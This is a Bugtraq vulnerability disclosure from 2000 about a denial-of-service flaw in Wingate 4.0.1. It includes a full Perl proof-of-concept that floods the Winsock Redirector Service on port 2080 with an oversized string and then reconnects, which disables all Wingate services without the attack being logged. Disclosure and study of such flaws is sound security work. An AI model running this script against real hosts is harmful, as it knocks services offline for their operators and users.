[16990] in bugtraq
Wingate 4.0.1 denial-of-service
daemon@ATHENA.MIT.EDU (Blue Panda)
Mon Oct 2 12:26:23 2000
Mime-Version: 1.0
Content-Type: multipart/mixed;
boundary="----=_NextPart_000_0012_01C02CA5.8BBCB500"
Message-Id: <001901c02c51$bb034260$0102a8c0@michael>
Date: Mon, 2 Oct 2000 19:18:29 +1000
Reply-To: Blue Panda <bluepanda@DWARF.BOX.SK>
From: Blue Panda <bluepanda@DWARF.BOX.SK>
To: BUGTRAQ@SECURITYFOCUS.COM
This is a multi-part message in MIME format.
------=_NextPart_000_0012_01C02CA5.8BBCB500
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
=================================================================
Blue Panda Vulnerability Announcement: Wingate 4.0.1
02/10/2000 (dd/mm/yyyy)
bluepanda@dwarf.box.sk
http://bluepanda.box.sk/
=================================================================
Details available in attached file.
------=_NextPart_000_0012_01C02CA5.8BBCB500
Content-Type: text/plain;
name="wgate401.txt"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
filename="wgate401.txt"
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Blue Panda Vulnerability Announcement: Wingate 4.0.1
02/10/2000 (dd/mm/yyyy)
bluepanda@dwarf.box.sk
http://bluepanda.box.sk/
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Problem: The Wingate engine can be disabled by sending an abnormal =
string to
the Winsock Redirecter Service. The attack is not logged.
Vulnerable: Wingate Home/Standard/Pro 4.0.1, possible prior versions
(untested).
Immune: Wingate 4.1 Beta A
Vendor status: Notified.
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Proof of concept:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
#!/usr/bin/perl
#
# wgate401.pl - Wingate 4.0.1 denial-of-service
# Blue Panda - bluepanda@dwarf.box.sk
# http://bluepanda.box.sk/
#
# ----------------------------------------------------------
# Disclaimer: this file is intended as proof of concept, and
# is not intended to be used for illegal purposes. I accept
# no responsibility for damage incurred by the use of it.
# ----------------------------------------------------------
#
# Causes all Wingate services to become unavailable until the Wingate =
Engine
# is restarted. The Winsock Redirector Service must be enabled in order =
for
# this to work. Tested on the evaluation version of Wingate Pro 4.0.1.
#
use IO::Socket;
$host =3D "host.com";
$port =3D "2080";
$sleepfor =3D 1;
print "Wingate 4.0.1 denial-of-service
Blue Panda - bluepanda\@dwarf.box.sk
http://bluepanda.box.sk/
----------------------------------------------------------
Disclaimer: this file is intended as proof of concept, and
is not intended to be used for illegal purposes. I accept
no responsibility for damage incurred by the use of it.
----------------------------------------------------------
Causes all Wingate services to become unavailable until the Wingate =
Engine
is restarted. The Winsock Redirector Service must be enabled in order =
for
this to work.\n\n";
# Connect to the Winsock Redirector Service.
print "Connecting to $host:$port...";
$socket =3D IO::Socket::INET->new(Proto=3D>"tcp", PeerAddr=3D>$host, =
PeerPort=3D>$port) || die "failed.\n";
print "done.\n";
# Send some characters to the Winsock Redirector Service.
$buffer =3D "a" x 1079;
print $socket "$buffer";
# Wait a few seconds.
$counter =3D 0;
print "Sleeping for $sleepfor seconds.";
while($counter < $sleepfor) {
sleep(1);
print ".";
$counter +=3D 1;
}
print "\n";
# Close the connection. The Winsock Redirector Service should now be
# disabled.
close($socket);
# Connect once more to the Winsock Redirector Service. This will disable =
all
# other services.
print "Connecting to $host:$port...";
$socket =3D IO::Socket::INET->new(Proto=3D>"tcp", PeerAddr=3D>$host, =
PeerPort=3D>$port) || die "failed.\n";
print "done.\n";
# Finished.
close($socket);
------=_NextPart_000_0012_01C02CA5.8BBCB500--
